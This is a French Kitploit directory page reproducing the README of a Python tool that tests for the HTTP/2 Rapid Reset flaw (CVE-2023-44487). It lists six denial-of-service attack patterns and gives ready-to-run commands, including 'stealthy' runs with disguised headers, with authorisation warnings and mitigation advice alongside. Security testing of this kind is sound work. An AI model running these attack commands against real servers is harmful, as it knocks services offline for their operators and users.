Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE_2023_44487-Rapid_Reset — Outil de test basé sur Python pour CVE-2023-44487 (HTTP/2 Rapid Reset) avec plusieurs schémas d'attaque, configuration granulaire et surveillance pour les évaluations de sécurité autorisées. | Kitploit
Outils/GitHubGitHub/gmh5225/cve_2023_44487-rapid_reset
Scanners de VulnérabilitésExploitationSécurité WebSécurité RéseauTests d'Intrusion
GitHubgmh5225/cve_2023_44487-rapid_reset

CVE_2023_44487-Rapid_Reset

Outil de test basé sur Python pour CVE-2023-44487 (HTTP/2 Rapid Reset) avec plusieurs schémas d'attaque, configuration granulaire et surveillance pour les évaluations de sécurité autorisées.

Voir le dépôt
20il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Outil de Test HTTP/2 Rapid Reset CVE-2023-44487 - Édition Améliorée

Un outil de test Python complet pour CVE-2023-44487, la vulnérabilité HTTP/2 Rapid Reset. Cette version améliorée offre un contrôle granulaire des paramètres de test, plusieurs schémas d'attaque et des capacités de surveillance avancées.

⚠️ AVERTISSEMENT IMPORTANT

Cet outil est destiné UNIQUEMENT à des fins éducatives et de test autorisé !

  • Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite
  • Toute utilisation non autorisée peut être illégale et provoquer des interruptions de service
  • L'outil exécute une attaque par déni de service qui peut affecter la disponibilité du serveur
  • Assurez-vous toujours d'avoir une autorisation appropriée avant de tester

🔍 À propos de CVE-2023-44487

CVE-2023-44487, également connue sous le nom de « HTTP/2 Rapid Reset », est une vulnérabilité critique du protocole HTTP/2 qui permet aux attaquants de :

  • Provoquer un déni de service en envoyant et en annulant rapidement des flux HTTP/2
  • Consommer des ressources serveur excessives avec un minimum de ressources client
  • Contourner de nombreux mécanismes traditionnels de limitation de débit
  • Affecter les principaux serveurs web et équilibreurs de charge

Score CVSS : 7,5 (Élevé)

Impact : Déni de service, épuisement des ressources

🚀 Fonctionnalités améliorées

Schémas d'attaque multiples

  • ⚡ Rapid Reset : HEADERS standard + RST_STREAM immédiat
  • 💥 Burst Reset : Requêtes par rafales avec délais configurables
  • 📈 Gradual Reset : Augmentation progressive du taux d'attaque
  • 🎲 Random Reset : Synchronisation aléatoire pour contourner le filtrage prédictif
  • 🌊 Continuation Flood : Attaque par inondation de trames CONTINUATION
  • 🔀 Schéma mixte : Combinaison de plusieurs schémas

Configuration granulaire

  • 📡 Contrôles de connexion : Délais d'expiration, délais, limites de concurrence
  • ⏱️ Contrôles temporels : Synchronisation précise avec prise en charge de la gigue
  • 🌐 Protocole HTTP/2 : Tailles de fenêtre, tailles de trame, paramètres HPACK
  • 📋 Personnalisation des en-têtes : En-têtes personnalisés, génération aléatoire
  • 🔬 Options avancées : Randomisation des ID de flux, trames de priorité
  • 📊 Surveillance : Suivi de la latence, analyse du trafic, surveillance des erreurs

Formats de sortie

  • 🖥️ Console : Lisible par l'humain avec mises à jour de progression
  • 📋 JSON : Données structurées lisibles par machine
  • 📊 CSV : Compatible tableur pour l'analyse
  • 🗃️ XML : Intégration aux outils d'entreprise

Fonctionnalités de sécurité

  • 🛡️ Contrôles d'autorisation : Invites de confirmation obligatoires
  • 🔒 Limitation de débit : Limites intégrées de connexions et de requêtes
  • 🎛️ Gestion des erreurs : Gestion élégante des défaillances
  • 📝 Piste d'audit : Capacités complètes de journalisation

📋 Prérequis

  • Python 3.7 ou supérieur
  • Aucune dépendance externe (utilise uniquement la bibliothèque standard Python)

📖 Installation

  1. Clonez ou téléchargez le script :
root@kitploit:~
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
  1. Rendez le script exécutable :
root@kitploit:~
chmod +x rapid_reset_test.py
  1. Vérifiez la version de Python :
root@kitploit:~
python3 --version  # Doit être 3.7+

🔧 Utilisation

Utilisation de base

root@kitploit:~
python3 rapid_reset_test.py https://serveur-cible.com

Exemples d'utilisation avancée

1. Test de charge à haut débit

root@kitploit:~
python3 rapid_reset_test.py https://cible.com \
    --connections 50 \
    --requests 1000 \
    --delay 0 \
    --pattern rapid_reset \
    --track-latency \
    --output json

2. Test furtif avec en-têtes personnalisés

root@kitploit:~
python3 rapid_reset_test.py https://cible.com \
    --pattern burst_reset \
    --burst-size 5 \
    --burst-delay 2.0 \
    --custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
    --jitter 0.3

3. Test spécifique au protocole

root@kitploit:~
python3 rapid_reset_test.py https://cible.com \
    --window-size 32768 \
    --frame-size 32768 \
    --header-table-size 8192 \
    --enable-push \
    --priority-frames \
    --randomize-streams

4. Test de surveillance complet

root@kitploit:~
python3 rapid_reset_test.py https://cible.com \
    --connections 10 \
    --requests 200 \
    --pattern mixed_pattern \
    --track-latency \
    --track-responses \
    --monitor-memory \
    --verbose \
    --debug \
    --log-file attack.log

5. Attaque par inondation CONTINUATION

root@kitploit:~
python3 rapid_reset_test.py https://cible.com \
    --pattern continuation_flood \
    --requests 50 \
    --random-headers \
    --header-count 20

Options complètes de ligne de commande

Paramètres de connexion

OptionDescriptionDéfaut
-c, --connections NNombre de connexions simultanées1
--connection-timeout SECDélai d'expiration de connexion en secondes10
--read-timeout SECDélai d'expiration de lecture des réponses5
--connection-delay SECDélai entre les connexions0.0

Paramètres de requête

OptionDescriptionDéfaut
-r, --requests NRequêtes par connexion100
--delay SECDélai entre HEADERS et RST_STREAM0.001
--request-delay SECDélai entre les requêtes0.0
--jitter FACTORFacteur de randomisation temporelle0.0

Schémas d'attaque

OptionDescriptionDéfaut
--pattern TYPESchéma d'attaque à utiliserrapid_reset
--burst-size NRequêtes par rafale10
--burst-delay SECDélai entre les rafales0.1

Schémas disponibles :

  • rapid_reset - Attaque standard par réinitialisation rapide
  • burst_reset - Attaques par rafales
  • gradual_reset - Taux croissant progressivement
  • random_reset - Synchronisation aléatoire
  • continuation_flood - Inondation de trames CONTINUATION
  • mixed_pattern - Mélange de schémas

Paramètres du protocole HTTP/2

OptionDescriptionDéfaut
--window-size BYTESTaille initiale de fenêtre HTTP/265535
--frame-size BYTESTaille maximale de trame16384
--header-table-size BYTESTaille de table d'en-têtes HPACK4096
--enable-pushActiver le push serveur HTTP/2False
--rst-error-code CODECode d'erreur RST_STREAM8

Personnalisation des en-têtes

OptionDescriptionDéfaut
--custom-headers HEADEREn-têtes personnalisés (Nom : Valeur)None
--random-headersGénérer des en-têtes aléatoiresFalse
--header-count NNombre d'en-têtes aléatoires5

Options avancées

OptionDescriptionDéfaut
--randomize-streamsUtiliser des ID de flux aléatoiresFalse
--priority-framesInclure les informations de prioritéFalse
--continue-on-errorContinuer après les erreursTrue
--max-errors NNombre maximal d'erreurs avant arrêt10

Options de surveillance

OptionDescriptionDéfaut
--track-latencySuivre la latence des requêtesFalse
--track-responsesSuivre les réponses du serveurFalse
--monitor-memorySurveiller l'utilisation de la mémoireFalse

Options de sortie

OptionDescriptionDéfaut
--output FORMATFormat de sortieconsole
--output-file FILENom du fichier de sortiegénéré automatiquement
--verbose, -vSortie détailléeFalse
--debugJournalisation de débogageFalse
--log-file FILEJournaliser dans un fichierNone

Formats de sortie disponibles :

  • console - Sortie console lisible par l'humain
  • json - JSON lisible par machine
  • csv - CSV compatible tableur
  • xml - Format XML structuré

📊 Comprendre les résultats

Format de résultat amélioré

L'outil fournit des résultats complets comprenant :

  • Configuration de l'attaque : Paramètres de test complets
  • Statistiques de connexion : Taux de réussite/échec par connexion
  • Analyse du trafic : Octets envoyés/reçus, taux de requêtes
  • Métriques de latence : Analyse temporelle des requêtes (si activée)
  • Analyse des erreurs : Suivi et catégorisation détaillés des erreurs
  • Évaluation des risques : Score automatisé de vulnérabilité

Exemple de structure de sortie JSON

root@kitploit:~
{
  "target_url": "https://example.com",
  "test_config": {
    "attack_pattern": "rapid_reset",
    "max_connections": 10,
    "requests_per_connection": 100,
    "delay_between_headers_rst": 0.001
  },
  "test_summary": {
    "duration": 2.34,
    "successful_connections": 10,
    "total_successful_attacks": 950,
    "success_rate": 95.0,
    "requests_per_second": 405.98,
    "total_bytes_sent": 125600,
    "average_latency": 0.0024
  },
  "connection_stats": [...],
  "errors": [...],
  "timestamp": 1640995200.0
}

Évaluation des risques

L'outil évalue automatiquement la vulnérabilité :

  • 🔴 RISQUE ÉLEVÉ (>80 % de réussite) : Le serveur est probablement vulnérable
  • 🟡 RISQUE MOYEN (50-80 % de réussite) : Vulnérabilité partielle
  • 🟢 RISQUE FAIBLE (<50 % de réussite) : Les mesures d'atténuation semblent efficaces

🔬 Détails techniques

Méthodologies d'attaque

  1. Rapid Reset : Envoie HEADERS immédiatement suivi de RST_STREAM
  2. Burst Reset : Regroupe les requêtes en rafales avec délais configurables
  3. Gradual Reset : Augmente progressivement l'intensité de l'attaque
  4. Random Reset : Utilise des schémas temporels imprévisibles
  5. Continuation Flood : Exploite le traitement des trames CONTINUATION
  6. Schéma mixte : Combine plusieurs techniques

Implémentation HTTP/2

  • Gestion correcte du préambule de connexion HTTP/2
  • Négociation des trames SETTINGS avec paramètres personnalisés
  • Options avancées de compression d'en-têtes HPACK
  • Multiplexage de flux avec ID de flux configurables
  • Structure de trame conforme à la RFC 7540
  • Prise en charge des extensions HTTP/2 et des trames de priorité

Capacités de surveillance

  • Suivi de la latence : Synchronisation à la microseconde près
  • Analyse du trafic : Surveillance complète au niveau des octets
  • Classification des erreurs : Catégorisation détaillée des erreurs
  • Métriques de performance : Analyse des taux de requêtes et du débit
  • Débogage du protocole : Capacités d'inspection au niveau des trames

🛡️ Stratégies d'atténuation

Si votre serveur s'avère vulnérable, mettez en œuvre ces mesures d'atténuation :

Actions immédiates

  1. Mettez à jour les implémentations HTTP/2 vers les dernières versions
  2. Activez la limitation de débit pour les flux et connexions HTTP/2
  3. Configurez les limites de connexion et les délais d'expiration des requêtes
  4. Implémentez la surveillance et le blocage des réinitialisations de flux

Protections avancées

  1. Déployez des équilibreurs de charge compatibles HTTP/2 avec protection contre les attaques
  2. Configurez une limitation de débit adaptative basée sur les schémas de connexion
  3. Implémentez la priorisation des requêtes et les limites d'allocation des ressources
  4. Surveillez les ressources du serveur et implémentez des alertes
  5. Utilisez le regroupement de connexions et les contrôles de multiplexage

Surveillance et détection

  1. Surveillez les taux et schémas RST_STREAM
  2. Suivez les taux d'établissement de connexions
  3. Implémentez la détection d'anomalies pour le trafic HTTP/2
  4. Journalisez et analysez les schémas d'attaque pour une protection future

🔗 Exemples d'intégration

Automatisation Python

root@kitploit:~
import subprocess
import json

# Exécuter le test automatisé
result = subprocess.run([
    'python3', 'rapid_reset_test.py',
    'https://cible.com',
    '--pattern', 'mixed_pattern',
    '--output', 'json',
    '--output-file', 'results.json'
])

# Analyser les résultats
with open('results.json') as f:
    data = json.load(f)
    vulnerability_score = data['test_summary']['success_rate']
    if vulnerability_score > 80:
        print(f"RISQUE ÉLEVÉ : {vulnerability_score}% de taux de réussite")

Surveillance continue

root@kitploit:~
#!/bin/bash
# Tâche cron : 0 2 * * * /chemin/vers/monitor.sh

python3 rapid_reset_test.py https://monserveur.com \
    --pattern rapid_reset \
    --connections 5 \
    --requests 50 \
    --output json \
    --output-file /var/log/rapid-reset-$(date +%Y%m%d).json

# Alerte si une vulnérabilité est détectée
if [ $(jq '.test_summary.success_rate' /var/log/rapid-reset-$(date +%Y%m%d).json) -gt 80 ]; then
    echo "ALERTE : Le serveur est vulnérable à l'attaque par réinitialisation rapide" | mail -s "Alerte de sécurité" [email protected]
fi

Analyse des données

root@kitploit:~
import pandas as pd
import matplotlib.pyplot as plt

# Charger et analyser les résultats CSV
df = pd.read_csv('results.csv')

# Visualiser le succès de l'attaque par connexion
plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
df.plot(x='connection_id', y='successful_attacks', kind='bar')
plt.title('Succès de l\'attaque par connexion')

plt.subplot(1, 2, 2)
df['success_rate'] = (df['successful_attacks'] / df['total_attacks']) * 100
plt.hist(df['success_rate'], bins=20)
plt.title('Distribution des taux de réussite')
plt.show()

🐛 Dépannage

Problèmes courants

  1. Connexion refusée :

    • Vérifiez que la cible prend en charge HTTP/2
    • Vérifiez le pare-feu et la connectivité réseau
    • Assurez-vous que HTTPS est correctement configuré
  2. Erreurs SSL/TLS :

    • Problèmes de validation de certificat
    • Utilisez --debug pour des informations SSL détaillées
    • Vérifiez la négociation ALPN
  3. Taux de réussite faibles :

    • Le serveur peut avoir une limitation de débit activée
    • Essayez différents schémas d'attaque
    • Ajustez les paramètres temporels
  4. Problèmes de performance :

    • Réduisez le nombre de connexions pour les tests
    • Utilisez --debug et --log-file pour l'analyse
    • Surveillez les ressources système

Étapes de débogage

  1. Activez la journalisation détaillée : --verbose --debug --log-file debug.log
  2. Testez avec une charge minimale : --connections 1 --requests 10
  3. Vérifiez la prise en charge HTTP/2 : Utilisez les outils de développement du navigateur
  4. Vérifiez les réponses du serveur : --track-responses
  5. Surveillez la latence : --track-latency

📄 Licence

Cet outil est fourni sous licence MIT. Consultez le fichier LICENSE pour plus de détails.

🔗 Références

  • Détails CVE-2023-44487
  • RFC 7540 - Spécification HTTP/2
  • Base de données CVE du NIST
  • Analyse technique Cloudflare
  • Blog sécurité Google

⚖️ Avis juridique

Cet outil est destiné aux professionnels de la cybersécurité, aux chercheurs et aux administrateurs système pour tester leurs propres systèmes ou des systèmes pour lesquels ils disposent d'une autorisation explicite. Les auteurs ne sont pas responsables de toute utilisation abusive de cet outil.

Points juridiques clés :

  • Testez uniquement les systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite
  • Les tests non autorisés peuvent violer les lois sur la criminalité informatique
  • Cet outil peut provoquer de réelles interruptions de service
  • Informez toujours les parties prenantes concernées avant de tester
  • Utilisez-le pendant les fenêtres de maintenance lorsque c'est possible
  • Documentez toutes les activités de test à des fins d'audit

N'oubliez pas : Un grand pouvoir implique de grandes responsabilités. Utilisez cet outil de manière éthique et légale.

🆕 Nouveautés de la version améliorée

Fonctionnalités de la version 2.0

  • ✅ 6 schémas d'attaque : Vecteurs d'attaque multiples et sophistiqués
  • ✅ Plus de 40 options de configuration : Contrôle granulaire de tous les paramètres
  • ✅ 4 formats de sortie : Prise en charge console, JSON, CSV, XML
  • ✅ Surveillance avancée : Suivi de la latence, analyse du trafic, surveillance des erreurs
  • ✅ Personnalisation du protocole : Tailles de fenêtre HTTP/2, tailles de trame, paramètres HPACK
  • ✅ Manipulation des en-têtes : En-têtes personnalisés, génération aléatoire, inondations CONTINUATION
  • ✅ Contrôles temporels : Prise en charge de la gigue, schémas de rafales, escalade progressive
  • ✅ Améliorations de sécurité : Meilleure limitation de débit, gestion des erreurs, pistes d'audit
  • ✅ Prêt pour l'intégration : Sortie JSON/CSV pour l'automatisation et l'analyse

Migration depuis la version de base

La version améliorée maintient une compatibilité ascendante avec la version de base. Toutes les options de ligne de commande existantes continuent de fonctionner, avec de nouvelles options offrant des capacités supplémentaires.

Pour les utilisateurs qui passent de la version de base :

root@kitploit:~
# L'utilisation de base ancienne fonctionne toujours
python3 rapid_reset_test.py https://example.com --connections 5 --requests 100

# Nouvelle utilisation améliorée avec options supplémentaires
python3 rapid_reset_test.py https://example.com \
    --connections 5 --requests 100 \
    --pattern burst_reset --track-latency --output json
Télécharger l’outil